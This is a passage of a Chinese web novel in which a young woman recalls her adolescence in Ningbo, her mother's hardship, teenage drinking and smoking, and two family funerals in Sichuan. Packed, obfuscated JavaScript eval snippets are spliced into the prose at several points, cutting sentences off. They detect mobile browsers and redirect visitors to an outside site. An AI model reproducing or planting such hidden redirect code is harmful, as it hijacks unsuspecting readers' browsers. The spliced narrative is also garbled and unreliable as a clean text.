最终，月光洒在她的肩膀上，照亮了她那失落的面庞，此时的她应该感到无比的渺小吧。外面的世界静谧而遥远，然而，她的无助却无处不在，仿佛这一刻，整个宇宙都无法提供任何支持。她的目光时而凝视着远方，时而低垂，像是陷入了深深的思索，却又似乎什么都想不明白。那一瞬间，她似乎变得如此脆弱，像是夜色中最易被风吹散的微光。 我大概已经明白了结局。 犹豫片刻，我还是决定走了过去。听到脚步声，她立刻换了一种情绪望向我。我加快脚步，甚至小跑过去抱住了她。 “妈，我不去那边读了，就在这边读也挺好的。” 这句话发自肺腑。在看到妈妈放下尊严求人的那一刻，那个强烈的、关于和陈思阳重聚在同一个初中的愿望，瞬间灰飞烟灭。 妈妈的身体猛地一颤，随即低声抽泣起来：“无恙，妈妈对不起你……对不起……” 她紧紧抱着我，一遍遍重复着这句话。每一个字都像烧红的针，狠狠扎进我的心脏。我痛恨自己的不懂事，为什么要逼她做她自己做不到的事，为什么要让她如此痛苦？ 那一晚，我们在狭窄的沙发上，相拥着坐到了天亮。 从那以后，我再也没见过陈思阳。我开始刻意逃避，认定自己是个言而无信的小人，背叛了诺言，无颜见他。也许是我太痛苦了吧，为了不让这种痛苦啃噬着我，这时另一个声音不断从脑海里冒出来安慰：“小孩子的话哪能当真？说不定陈思阳早就忘了你，忘了这回事了，你又何必这么在意？” 这种自欺欺人的想法，在一定程度上给我带来了疗愈，竟成了我那段时间唯一的止痛药。我不太清楚在心理上这种是属于什么，但对我来说确实有效的。 7. 成长（3） 之后，我进入了片区内的普通初中。进入青春期的女孩，总带着点叛逆的躁动。这所初中里大多是外来务工子女，本地成绩好的早已去了更好的学校，留下的多是些无心向学的“混混”。 我的长相和身材都随了妈妈，虽没有她那么好看，但也继承了七八分吧。初二时，我的身高猛蹿到168cm，跟她差不多高。除了基因，这还得归功于妈妈严苛的饮食要求：天天监督我吃早饭、喝牛奶、吃肉。在饮食这块，她从不吝啬，很舍得花钱。 我这样的外形在学校里注定引人注目。刚上初一的时候我还能安静地在学校读书，成绩还不错，老师管我也管得严，妈妈也盯得紧。 我依旧少言寡语，对那些递来的情书、索要电话□□的搭讪，一概以冷漠拒之门外。渐渐地，学校里都知道我“高冷难近”，背地里给我起了个绰号——“高冷校花”。 如果沿着这条轨迹成长，我或许能考上宁波中等偏上的高中，然后考个本科。然而，人生哪有什么既定路线？每一个转折都猝不及防，都是未知、意料之外的。如今回望十四五岁那两年，连我自己也说不清，为何会滑向那条路。 或许是因为深入骨髓的孤独，又或许是积压的情绪需要找到决堤的出口。 转折发生在我刚上初二不久。外公突发高血压合并脑中风，住进了ICU。我和妈妈紧急赶回老家。 舅舅好像因为舅妈家的事情，已无力负担外公的巨额医药费，于是家里的重担全落在妈妈肩上。具体花了多少钱我不清楚，但无疑是个不小的数字。 “看吧，还好当初没把钱浪费在和陈思阳读什么好初中上。现在至少妈妈还不至于再去四处求人借钱。” 脑海里那个理智的声音再次响起，为当初的选择盖棺定论。 外公从ICU出来后，我们便又回到了宁波，留下外婆一个人照顾外公。期间，外婆提到了赵安然，我的亲哥哥。说他很懂事，特意来医院照顾了外公几天，临走还塞给外婆五百块钱。这是十多年来，我第一次从外婆口中听到关于赵安然的消息。外婆还劝妈妈放下执念，给赵安然打个电话。但话音未落，妈妈就迅速挂断了电话。 我不知道妈妈和赵安然之间究竟发生过什么，我也不敢轻易触碰妈妈的伤口。 之后两年，妈妈过得异常艰辛。起早贪黑，除了厂里的活，还四处打零工：做家政、餐厅服务员、商场促销员……只为给外公寄生活费。我常常几天都见不到她一面，收到的只有手机里每日不变的叮嘱：“按时吃饭”、“到家了吗”、“好好学习”，以及那句永恒的——“无恙，妈妈爱你。” 或许是一个人待久了，孤独像藤蔓一样缠绕窒息。 没有了妈妈在家的管控，在偶然的一个周末，平时关系跟我还不错的一个女生过生日，她便邀请了我去KTV玩。这在同龄人中是很常见的，但对我而言，却是从未踏足的世界。 按地址找到包间，推开门的那一刻，喧闹的韩团音乐骤停，所有人都惊讶地看着我。孙晓菲，也就是邀请我的这个女生，打破僵局，向大家介绍：“这是我的好朋友赵无恙，相信大家都都不陌生，让我们热烈欢迎。”随后几个热情的女生便拉我坐到沙发上，递水寒暄。我有些意外，不明白为何她们对我如此热情，毕竟我一直对她们很冷淡。 不久，其他班的人陆续到了。有个眼熟的男生提着个大蛋糕进来，没记错的话，他是孙晓菲的男朋友李远，一个长相普通但穿着时髦的人。在他旁边还有几个曾给我递过情书或表白的男生，但都被我冷脸拒绝过。 简单的庆生、拍照环节后，房间里的气氛迅速升温。包间很大，大家开始玩游戏、喝酒、抽烟。情侣们旁若无人地接吻，从蜻蜓点水到缠绵热吻，周围人起哄围观。 只有我，像个突兀的旁观者。 到了晚上十二点，手机震动，屏幕上是妈妈一连串的未接来电和微信：“睡了吗？妈妈今晚夜班不回来了，早点睡。” 紧绷的神经瞬间松弛——还好她不在家。我回了一条：“刚醒，想起来上个厕所，等会就去睡。” 安抚了她，我却丝毫没有离开这里的打算。这喧嚣迷离的氛围，竟让我感到一丝奇异的归属感。 年轻的身体似乎不知疲倦，包间里弥漫着亢奋的气息。我安静地坐在角落，看着这一切。突然，旁边一个男生递过来一瓶鸡尾酒：“喝过吗？度数低，像饮料，可以尝尝。” 他的眼神很平淡，不像其他人看我时带着热度。 其实我也注意他很久了，他也是这个包间里唯二的安静者。他长得白白净净，眉眼间竟有几分陈思阳的样子。说来很奇怪，虽然我也不太清楚长大后的陈思阳是什么模样，但就是有种莫名的熟悉感，就是觉得他和陈思阳应该长得相像。 鬼使神差地，我接过了那瓶鸡尾酒，看了下没打开，我还没来得及开盖，他已经伸手帮我拧开了瓶盖。 我尝了一口，确实没什么酒味，反而是一股甜甜的水果味，像汽水。于是当饮料慢慢喝，不知不觉喝完了一瓶。 接着有人提议玩游戏，真心话大冒险。 前面几轮我都置身事外，他们的问题无非是谁喜欢谁、谁分手了，谁的男朋友或女朋友怎么样。不知道是我早熟还是其他原因，觉得他们问的问题都幼稚得可笑。我对他们的爱恨情仇毫无兴趣，也不好奇，甚至也不懂旁边人起哄的兴奋点。 正觉无聊时，我抽到了真心话。提问者正是递给我鸡尾酒的男生。他提了个看似普通却直击我心的问题： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我学着大人的样子猛吸一口，浓烈的烟雾瞬间呛得我剧烈咳嗽，眼泪直流。看着我笨拙狼狈的样子，他终于没忍住，低低地笑了出来。 然后，他一步步教我：怎么夹烟，怎么浅浅地吸入，怎么让烟雾在口腔停留再缓缓吐出，普通得像是教我做数学题一样。两个十四岁的少年少女，就这样在KTV厕所门口弥漫的烟雾中，诡异又和谐地抽完了一根又一根。 我至今还记得他最后那句似褒似贬的话：“你真的很聪明，学得挺快。喝酒学得快，抽烟也学得快，做‘坏学生’……也学得快。一学就会，不愧是老师们眼里的‘好学生’。” 这句话似乎有魔力一般戳破了我的表象。原来，我只是在扮演老师们眼中的“好学生”。 8. 成长（4） 随后的日子，我彻底融入了他们的圈子。聚会、泡吧、抽烟、喝酒……一样没落下。甚至去纹了身，是一只破茧而出的蝴蝶，偷偷纹在腰间，因为我知道不能让妈妈看见。对于这个图案也没什么深意，只觉得好看。 在这看似潇洒放纵的日子里，我试图忘记陈思阳，忘记所有沉重的东西，实践着属于不良少女的“今朝有酒今朝醉，明日愁来明日愁”。 在混迹的日子里，妈妈似乎察觉到了我的一些变化，但并未深究。因为她要操心的事、操心的人太多了：外公外婆的身体，尤其是外公隔三差五要住院，还有舅舅也不省心，貌似他和舅妈的感情一波三折，最后还得要妈妈帮忙。 至少我在她面前伪装得很好，即使老师委婉提及我的成绩下滑，她也只当是课程变难，没人辅导学起来吃力，毕竟我也没有做出其他出格的事情。 浑浑噩噩的日子一天天过去，不出所料，中考失利，差了几分，我上不了普高。老师们惋惜不已，觉得我不该如此。或许是我“人设”维持得太好，又或许是“演技”精湛，直到初中毕业我在老师们眼中依旧是那个漂亮、安静、有礼貌的乖乖女。因此，他们甚至热心地帮我选了一所能参加高考的职业学校。 对了，我和那个男生在一起了，就在初中毕业的那个夏天。 他叫张亦文。 在那些“朋友”眼里，我们在一起似乎是顺理成章的，因为他们总看到我俩在聚会后找个僻静角落一起抽烟，像在“秘密约会”。 但我俩的“恋情”短暂得可怜，从正式开始到彻底结束，满打满算，只有十三天。 在交往的第十三天晚上，玩完回来，他送我到家门口。或许是酒精的催化，或许是昏黄路灯的渲染，又或许是夏夜晚风的撩拨。 他吻了我。 我没有推开。 这个吻很短暂，维持的时间大概只有几秒。不是我们不想继续，而是被强行中断了。我永远忘不了妈妈当时的眼神——从震惊到愤怒，随后又转为失望，接着又带着一丝失落。 那一刻我害怕极了，吓得魂飞魄散，猛地一把推开了张亦文！ 他在震惊中看到了我妈妈，愣了一下，随即走过去朝我妈妈深深鞠了一躬，接着转身快步离开。 大脑一片空白，轰隆作响，仿佛天塌了。我已经忘了我是如何跟在她身后回的家，回家后她像往常一样换鞋、放包，然后走进厨房，一声不响地给我煮了碗面端上桌，又转身去房间收拾衣物塞进行李背包。 我不敢吃面，也不敢说话，只能亦步亦趋地跟着她。 收拾停当，她坐到桌边，示意我吃面。其实我不饿，因为和张亦文在外面吃过了，但不敢违逆，机械地挑起面条塞进嘴里，味同嚼蜡。每吃一口，就偷偷抬眼，用余光紧张地窥探她的神情，试图捕捉任何预示风暴的信号。 她就那样看着我，眼神复杂到我无法解读。接着，她做出了我做梦也想不到的举动——抬起手，“啪！啪！”狠狠扇了自己两个耳光！ 清脆的耳光声在寂静的老房子里炸响，在昏黄的灯光下回荡。我清晰地看到泪水瞬间涌出她的眼眶。 “妈——！我错了！我真的错了！你打我吧！都是我的错！” 我崩溃地哭喊着扑过去，跪倒在地紧紧抱住她的腿，祈求她不要再伤害自己。我原本想象的场景是耳光是扇在我的脸上，但这两巴掌落在她脸上，无疑是比我自己挨打还要痛上千百倍！ 我宁愿那两巴掌打在我脸上！ “无恙，是我对不起你……”妈妈的声音破碎不堪，她用手轻轻抚摸我的脸，指腹颤抖着试图擦去我汹涌的泪水，“是我没照顾好你，没注意到你的变化，不是你的错，都是我的错……是我不自量力……是我拖累了你……” 她的话语像一把把钝刀，凌迟着我的心。眼泪已不受我的控制，源源不断流出。 “妈！你在说什么啊！不是！不是你的错！是我的错！我……我马上跟他分手！” 我哭着站起来，手忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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我靠着墙壁坐在卫生间门口，静静地听着。她开门出来，带着一身湿热的水汽，看到我，立刻蹲下抱住我。我们又拥抱了一会儿，她才催促我去洗漱。我摇摇头，找来吹风机，给她吹头发。 她的发丝穿过我的指尖，乌黑中夹杂着刺眼的白发。什么时候开始有的？我不知道，她大概也不知道。这两年，她太累了，累到无暇顾及自己。 9. 成长（5） 收拾妥当，我们打车直奔高铁站。这趟列车是直达梓州的。下车后，妈妈的一个表弟开车来接。抵达外公外婆家时，已是第二天下午两点多。丧事早已操办起来，外公躺在堂屋中央的棺材里，四个道士敲着法器吟唱着经文。 外婆一见到妈妈，便扑上来嚎啕大哭。妈妈红着眼圈，强忍悲痛安慰着外婆。一个管事的长辈给我系上长长的白色孝帕，像抹额一样缠在头上，又在身后披上白布，跟斗篷差不多。接着让我跪在舅舅旁边烧纸钱。 安顿好外婆，妈妈也戴上同样的孝帕孝服，跪在了我们旁边。 随后便是外婆、舅舅和妈妈与前来吊唁的乡邻们寒暄答礼。我则被安排在客厅坐着，和一些年老的婆婆们在一起。她们用浓重的四川方言聊着天，我不太听得懂，但四川方言远比宁波方言要好很多，能猜得出大概意思，大意是外公走了也好，自己少受罪，也免得拖累儿女。 流程按部就班：下午六点吃“丧饭”，八点小辈们再次跪在棺材前烧纸钱，道士唱经，最后是“瞻仰遗容”——开棺让亲人看最后一眼，然后盖棺，等待次日清晨下葬。 仪式结束后，外婆和妈妈看我脸色苍白、精神恍惚，像要晕倒一样，于是催我赶紧上楼休息。我从昨晚到现在都没有怎么合上过眼。我便上楼去妈妈的床上躺着，明明疲惫至极，却怎么也睡不着。迷迷糊糊中，我似乎听到楼下有人提到了“赵安然”的名字。 第二天清晨，我没有参加外公的下葬。因为我发起了高烧，昏睡不醒。妈妈她们以为我太累了太困了，就没忍心叫我。等送葬队伍回来吃完“回丧饭”，妈妈回房见我还没醒，一摸额头滚烫，吓坏了！毕竟这个家里才死了一个老人，不能再死一个年轻人了！ 听到妈妈的呼救，舅舅赶紧冲上楼把我抱下来。我被围在焦急的人群中，意识模糊，眼皮重如千斤，睁不开双眼。视线艰难地扫过一张张脸，恍惚间似乎瞥见一个年轻高个、皮肤略微有点黑的男生。 是他吗？赵安然？ 我用尽全身力气想看清他的脸，因为我能强烈地感觉到他也在看我！但最终，视线还是无力地陷入黑暗。终究未能如愿，我还是没能看清赵安然长什么样。 我被抱上一辆面包车，妈妈紧紧抱着我。舅舅留下处理后事。醒来时，我已躺在县医院的病床上。妈妈正和送我们来的表舅低声说话。见我醒来，妈妈立刻扑到床边看我情况，然后委托表舅出去帮忙买一些饭菜带回来。 还没来得及和妈妈说上话，一个电话又把她叫走了，应该是外公的后事吧。 没过多久，妈妈又折返回来，神色带着一丝不易察觉的焦虑：“无恙，宁波厂里那边出了点急事……刚好你外公的事也办完了……要不你就在医院再住一天观察，明天我们再回宁波？” 原来不是外公家的事。但我看得出宁波那边的事很急。我宽慰她：“我感觉烧退了，今晚就走吧。看看还有票吗？明早就能到宁波。” 我不想耽误她。 妈妈看着我，眼中满是不忍，但还是点了点头听从我的建议。表舅开车送妈妈回家取行李并告别，我留在医院休息。之后表舅又开车送我们到高铁站，赶上了最近的一趟车。时间卡得刚好。我在高铁上昏睡了一路，到了宁波又直接在滴滴车上睡着。等醒来时已是深夜，妈妈不在家，发了信息说去处理厂里的事了。 这几天的行程像一场仓促的噩梦：紧急回乡参加葬礼、高烧病倒、又仓皇返回宁波。我躺在床上，望着熟悉的天花板发呆，回想这几天的混乱。 似乎又一次与赵安然擦肩而过，但我内心很平静，好像也没有很特别的感觉。我和他十多年完全没有联系，他对我而言，已是一个遥远而陌生的符号，想着未来我和他大概也不会有什么交集了。 想到妈妈这几天忙前忙后，马不停蹄地奔波操劳，到现在还不能休息，她是怎么撑下来的？想到这里，眼泪又不自觉地涌了出来。 我起身吃了药，换好衣服下楼，然后去超市买了些菜。妈妈平时做饭的时候，我经常在旁边打下手，所以简单的菜我也是会做的。于是我做了两菜一汤：番茄炒蛋，白菜粉丝汤，还有辣椒炒肉。 大约半小时后，妈妈拖着极度疲惫的身体回来了。看到餐桌上的饭菜和我，她愣了一下，走过来紧紧抱了抱我，声音沙哑：“我们无恙……长大了。” 吃饭时，她才告诉我实情：厂子倒闭了，她赶回去是为了结算工资。我对她说：“正好，你不用再上夜班了。在家好好休息一阵，我们附近转转。” 妈妈确实真的该休息了。 “好，”她点点头，脸上露出一丝久违的轻松，“对了，我有个朋友在杭州，要不……我带你去杭州玩玩？” “好啊！”我欣然同意，“虽然都在浙江，但我还没去过杭州呢。” 忽然想起在老家，那些七大姑八大婆们的聊天，似乎外公的离世，对妈妈而言也是一种解脱吧。她终于可以卸下部分重担。加上厂子倒闭拿到的赔偿，正好可以换个新工作。我和妈妈的目光在空中相遇，不约而同地露出一个心照不宣的、带着点苦涩又释然的微笑。 那种久违的母女默契，似乎重新连接上了。 “我们重新开始！”我端起汤碗，像举杯一样伸向妈妈，庆祝我们开始新的生活。 “好！”妈妈也端起碗，轻轻碰了一下我的碗沿，“重新开始！” 我们的生活就这样重新启动。与此同时，妈妈也没有再追问我和张亦文的事，我也没有主动提起。直觉告诉我，她选择了相信我。 至于张亦文，那晚之后我们确实没再见面。不过，后来他有托朋友转交给我一个礼物，是一条细细的黄金手链。我本想退回去，却被告知他已经去了广州，去找他妈妈了。 打开微信上对话框，他最后只留了一句话：“祝好。愿你余生快乐。如果有想念的人，就去找他吧。” 那一刻我才明白，原来他很想他的妈妈。 而我现在，不清楚我到底是在想念陈思阳这个人还是在怀念小时候的快乐时光。因为我记得小时候和他在一起的一切， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788756|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但长大后的他，我一无所知，就和赵安然一样，都在我的生活里慢慢褪色、模糊，最终只剩下一个名字。 我没有给张亦文回复，从此之后我们没有了联系。 那些看似疯狂的日子：逃学骑电动车去看海、看日出；在昏暗路灯下肆无忌惮地抽烟，然后吞云吐雾；在震耳欲聋的KTV里用一瓶瓶酒精麻痹自己……这些就像褪色的老照片，蒙上了一层不真实的微光。 我和张亦文好像都在寻找着什么。或许是被渴望的爱，又或许是能让内心得到片刻安宁的依托。就因如此，两颗迷茫的心笨拙地彼此靠近，试图用这种简单的依偎，去填补内心深处那片巨大的、冰冷的荒芜。 现在回头去看，这些都不过是少年人笨拙的宣泄。万幸的是，我没有做出真正伤害自己的事。 我其实内心也很明白，我不敢越界放纵，因为一直有一根弦在拉着我。我明白我的底线，那就是妈妈。 我不敢想象，如果我彻底失控，她会做出怎样疯狂的事。因为她的“疯狂”是真正的，也一定是毁灭性的。我清楚的知道，我是她支撑到现在的动力，没有了我，她会放弃她自己。 在我眼里，那段日子里的我和张亦文就像两个破碎的小孩抱团取暖，以此对抗命运对我们的不公。 为什么要把我们生下来？这是我和张亦文常在夜深人静时思考的问题。 如果我没有出生，妈妈是不是活得更轻松一些？她就不用带着我这个拖油瓶艰难求生，这是我当时的想法，我没有对张亦文说过。同样，我也不清楚张亦文的想法，因为他从未提及他的家庭和痛苦。 但是，我真的很感激张亦文，感激那段混沌的、却让我得以喘息的日子。 之后的日子回归平淡。 妈妈在商场找了份服装销售的工作，跟之前一样。我继续回去读职高，心思却不在学习上。没有目标和毅力的人，在宽松的环境里只能随波逐流。我主动跟妈妈聊过，她似乎也理解，只要求我“身体健康，平安快乐”。 随后，我在妈妈上班的商场里，找了份肯德基服务员的兼职。我们的日子比前两年要轻松许多。这三年里，除了外婆偶尔生病，基本上风平浪静。舅舅和舅妈好像也没有在瞎折腾，他们还资助了我们一点钱，加上妈妈这三年的积蓄，我们终于用首付在宁波郊区买了一套小小的、老旧的两居室，也就在我们之前租房的那个小区。 毕竟我们都念旧，在那里住习惯了，就不想搬家了。 在宁波漂泊了十四年，我们终于有了一个字面意义上的“家”。 我原以为生活会这样平淡安稳地继续下去。 直到昨晚，妈妈告诉我：“无恙，收拾一下，回四川……参加你亲生父亲的葬礼。”她的语气没有那么平淡，听起来有点忧伤。 这一次的葬礼，不同于外公那一次。它像一个突兀的休止符，强行中断了我们的平静，彻底改变了我未来的人生轨迹——更确切地说，是彻底改变了妈妈的未来。 或许，也改变了许多人的人生。 10. 现场 四川的农村果然是在大山里，被一座又一座的山包围着。群山在十二月里呈现一种沉郁的灰绿，回老家的路崎岖而漫长，仿佛永远也开不到头。 当我醒来时，发现还没有到。我看着窗外阴冷的天，笼罩着连绵山峦，公路狭窄，靠外一侧可以看到建起来一排排两层的小平房。因为道路没有足够宽，经常在转弯路口遇到对面迎来的车子，还得两边互相倒车，我们的这个车有好几次都开到别人家的坝子里，才能让对面的车开过去。 司机师傅是个老手，也和我妈妈在同一个村子，可能他也想早点收工回家，他就穿插另外一条更偏僻但车辆稀少的岔路，这样对面很少有车过来，就节约了让路的时间。随后没隔多久，逐渐看到集中的村落房子。我知道，我们应该是到了。 接着妈妈又给司机指着回我亲生父亲家的路，车子又继续沿着一条蜿蜒的公路开。这条路和回外婆家的路不一样，我完全没有记忆。 车子在山路上七拐八绕，终于到了。我又看到熟悉的葬礼场景：很多年龄大的长辈们围在一起聊天，摆放桌椅板凳、在准备晚上的饭菜，还有各种丧事的琐碎。虽然是丧事，但看起来很有烟火气，很热闹。 我和妈妈下车后，就看到有人过来接我们，是一个看起来跟妈妈年纪相仿的妇女，中等身材，大约一米六左右，没有刘海，头发就简单地在脑后扎起来，身上穿着一件洗得有些发旧的长款黑色羽绒服，显得有些臃肿，衬得人更矮小了些。 等我们走近一些，她的五官和神情清晰了起来。不同于妈妈的棱角分明和精致的五官，她的脸要圆润小巧一些，脸上带有一丝红色，皮肤明显就是很少用护肤品进行保养，眼神很平淡，甚至有些木然。我能明显感觉到这也是一位“历经风霜”的辛苦女人。 “秀梅，这是无恙？”她的声音没有妈妈那么细柔那么好听，稍微沙哑一点。她的四川方言我能听懂，她是在问我。那平淡的眼神里还是透露着一丝好奇。 “乖乖，这是小姑。”妈妈示意我赶紧叫人。 “小姑。”我也是平淡的叫着，脑子里还在思索亲属关系：我叫她小姑，那她应该就是我亲生父亲的妹妹。 小姑看了我一会儿还是淡淡地对妈妈笑了出来：“长得真的好看，又高又瘦，完全从了你。”我知道她在夸我好看，这种场合下的夸赞，其实我并不少见，甚至习以为常。 随后，她领着我们往一条小路向下走，她和妈妈用更快的、带着浓重乡音的方言聊着，问着一路上过来的情况、吃饭了没。我努力去听，但大部分都像加密的暗语，我就听不懂了。 当走到坝子里的时候，我看着所有人的眼光都向我投来，打量着我，窃窃私语，说着我听不懂的方言。甚至有些抬桌子的人都忍不住停下来望着我。这种场面我还是第一次见，被当成外来展品般注视的感觉让我浑身不自在，我赶紧挽着妈妈的胳膊，避开他们的视线，快速地穿过人群。 前方有两座并排的两层小平房，里面吹着唢呐，吟唱着道经，应该就是我生父的家。还没走到房子客厅门口，就听到一个年老女人的大声哭泣，哭得撕心裂肺。 我猜想得没错，这应该是我的奶奶。白发人送黑发人，这种痛楚足以击垮任何一位母亲。走进挤满人群的客厅后，小姑赶紧凑近去安慰那个穿着农村棉服的可怜老妇人。她坐在破旧的沙发上，一直哭，嘴里一直喊着“为啥走的人是他不是我嘛！”“他才四十岁啊！”“我以后啷个活哟！”……伤心和痛苦吞噬了她整个身体和情绪，完全听不进去旁边人的任何安慰。 “杨红翠！莫嚎了！像啥子样子嘛！” 突然，旁边一把椅子上，一个神情肃穆、五官硬朗的老人猛地提高了音量呵斥道。他眼中同样布满血丝和深沉的悲伤，但强自压抑着。似乎意识到自己语气太重，赶紧把声音软下来，带着疲惫的劝慰：“你莫哭了嘛，大家伙都在这里安慰你。事情还要不要办？懂点事嘛！”不出意外，这应该是我的爷爷。 可能那一句把人给唬住了，那个叫杨红翠的年老女人慢慢地止住了哭声，变成了压抑不住的、断断续续的抽噎。旁边的一些年纪大的男人们安慰着那位刚死了儿子的父亲，然后女人们围着安慰死了儿子的母亲。 那一刻，我看到这对父母的一些区别：母亲压抑不住自己的情绪，不能接受儿子的死亡，其他事情被抛在脑后。父亲没有大哭流泪，而是要主持局面，想先顺利的把丧事办完。 就在这时，一个高高瘦瘦，皮肤有点黑，比较俊朗帅气的年轻男人走进来，由于个子很高，他便半跪在女人前面，握着她的手，低声说着安慰的话。 由于刚才奶奶那阵大哭引来了更多人围观，短时间内涌进来的人比较多。我和妈妈只能暂时站在门口。哭声、劝慰声、各种方言的交谈声混杂在一起，我完全听不清那高个子男人具体说了什么。 “爸，妈，你们看下，这是秀梅和无恙，她们刚刚到。” 小姑的一句简单介绍，我和妈妈又成了众人的焦点。小姑应该是为了转移奶奶的情绪，便把我们给拉了进去。 我和妈妈就像电影里的主角，哪怕我俩站在人群外，站在门口，但是听到我们的名字，其他人立刻把视线转向我们。然后人们自觉地腾出位置，我和妈妈像触发任务点一样，也自觉地走过去，走向那两位老人，当然还有那个刚刚站起身的高个子年轻男人。 奶奶赶紧把手拿抹了抹眼泪，带着惊喜看着我们，爷爷也是如此。只有那个年轻男人，脸上没有任何大幅度的表情变化，眼神甚至带着一丝怨恨和愤怒。我看着他的眼神最终定格在妈妈脸上，随后变得冷漠又疏离，平淡地看着我。 他就是赵安然。 “无恙，这是奶奶，这是爷爷。”妈妈同样平淡地简单介绍。我接着也同样平淡地跟他们打招呼，可能带着对老人的关爱和同情，我的声音比刚刚跟小姑问候要有感情些。 “无恙都长这么高了啊！”旁边的人也好奇着说着。 奶奶看着我貌似是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788757|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很高兴，过来握着我的手，对着周围人说着：“跟秀梅一个模子出来的，又高又瘦，好看。” “比秀梅还高点。”另一个婆婆附和道。 妈妈在一旁点头：“前两年个子突然就窜起来了。” “就是！基因好嘛！你们家两个孙孙都长得高，安然一米八几的大个子，无恙也高。不像我家两个蛮蛮，矮处处的。”说话的是一个声音有些尖利的老年女人，我刚刚还看着她在坝子里跟其他人一起抬水。 气氛似乎稍微缓和了一点。接着大家就在客厅里烤火桌四周围坐起来，这下轮到爷爷奶奶给我介绍在场的亲戚了。这个是什么家婆，那个是什么家公，还有某某表叔、某某表婶……他们热情地讲述着我小时候的事情：谁抱过我，我在谁家吃过饭，我小时候做过什么趣事……然后便是感慨时间的飞逝，说我几岁离开的，一晃眼就十八了，日子怎么过得这么快，人这一辈子就这样匆匆而过了。 我尴尬地、机械地跟着他们打着招呼。一来是我不怎么听得懂四川话，他们说的话又快又密，还带着浓重的乡音；二来，我对这里、对这些人口中的“小时候”完全没有记忆，谁还记得四岁之前的事情和人啊。我的记忆都是从宁波开始的，虽然我们一直在宁波租房住，但我对宁波还是更亲切一些，潜意识觉得宁波才是我的“家乡”。 晚饭时间到了，有人过来招呼吃饭。我和妈妈也跟着人群一起去了，刚坐在位子上，饭菜还没上，就能感受到其他桌投来的、或明或暗的目光和窸窸窣窣的议论。一些与主家关系更近、或者性格更外向的人，便直接走过来问候我和妈妈，然后爷爷奶奶又开始热情地向他人介绍我，于是又是一轮“这是XX，快叫人”的循环。 直到热气腾腾的饭菜端上桌，各种蒸菜、炒菜、汤羹摆满了桌面，人们专注于眼前的食物，大家对我的关注才终于减少了一些。 但我们这桌依然不平静。 除了爷爷奶奶、小姑、妈妈和我，还有刚才的“家公”“家婆”等几位长辈。他们一边吃饭，一边继续用方言谈论着我们母女，语气里有关切，有好奇。妈妈时不时低声用普通话给我翻译他们问的问题。他们也很快找到了合理的解释，自圆其说地感慨：“娃儿从小在外头长大嘛，不会说四川话正常。”“记不得这里的人和事也莫得办法，走的时候太小了。”…… 从踏进这个家直到这顿饭吃完，我该如何形容这种奇异的感受？ 我仿佛成了一个穿越剧的女主角，魂穿到了一个名叫“赵无恙”的女孩身体里。一睁眼，就被迫置身于她亲生父亲的葬礼现场。周围是陌生的“亲人”和“乡亲”，他们用我半懂不懂的语言谈论着、审视着这个“我”，向我灌输着关于那个陌生“赵无恙”的零碎片段信息，试图拼凑起一个与我毫无共鸣的过往。 我像一个闯入者，一个旁观者，带着格格不入的疏离感，冷眼旁观着这场属于“赵无恙”原生家庭的悲恸与喧嚣。这里的一切，都与我无关，却又不得不置身其中。 11. 日期 “赵国亮。” 我的亲生父亲，叫这个名字。 得知这个名字，不是妈妈告诉我的，也不是葬礼上任何人的高知。而是我现在正跪在他的棺材前面，抬头就看到棺前供桌上，摆放有遗照，还有遗照下方的名字。 照片是刚刚几个年轻的女性拿过来的，她们是去街上的打印店匆忙弄的照片。她们称呼赵国亮为“哥哥”，然后也仍然叫我妈妈为“嫂嫂”。我猜，她们应该是赵国亮的堂妹们。 我和我的亲生哥哥赵安然跪在一起，旁边还有几个小孩，两男两女。两个女孩年纪稍微大一点，像是初中生，另外两个男孩小一点，估计还在读小学。他们很活泼，跪得不安分，还在小声说着学校里的事情——不想读书、考试没考好……完全完全没有葬礼该有的悲伤。 我反倒觉得这样挺好，这才是小朋友该有的童真，没有被死亡的阴影笼罩。 应该还没有到年纪吧，也可能死去的人不是他们的父亲，所以就觉得只是参加一场葬礼，跪在这里也是完成任务，家里人让跪便跪，让烧纸便烧纸。当然，让我喜欢这几个小孩的原因是，他们完全没有讨论我，他们甚至都没多看我一眼。 不像围在我们旁边的这些人。从我们跪在这里，他们的议论声到现在完全没有停止。 “那个就是无恙吧？” “嗯嗯，跟嫂嫂长得真像。” “是的，安然像哥哥，无恙像嫂嫂。” “不得不说，哥哥嫂嫂这基因是真好，两个娃儿长得都好看。” “不止好看，长得还高，我们这一大家子里，就他俩长得最高了。” 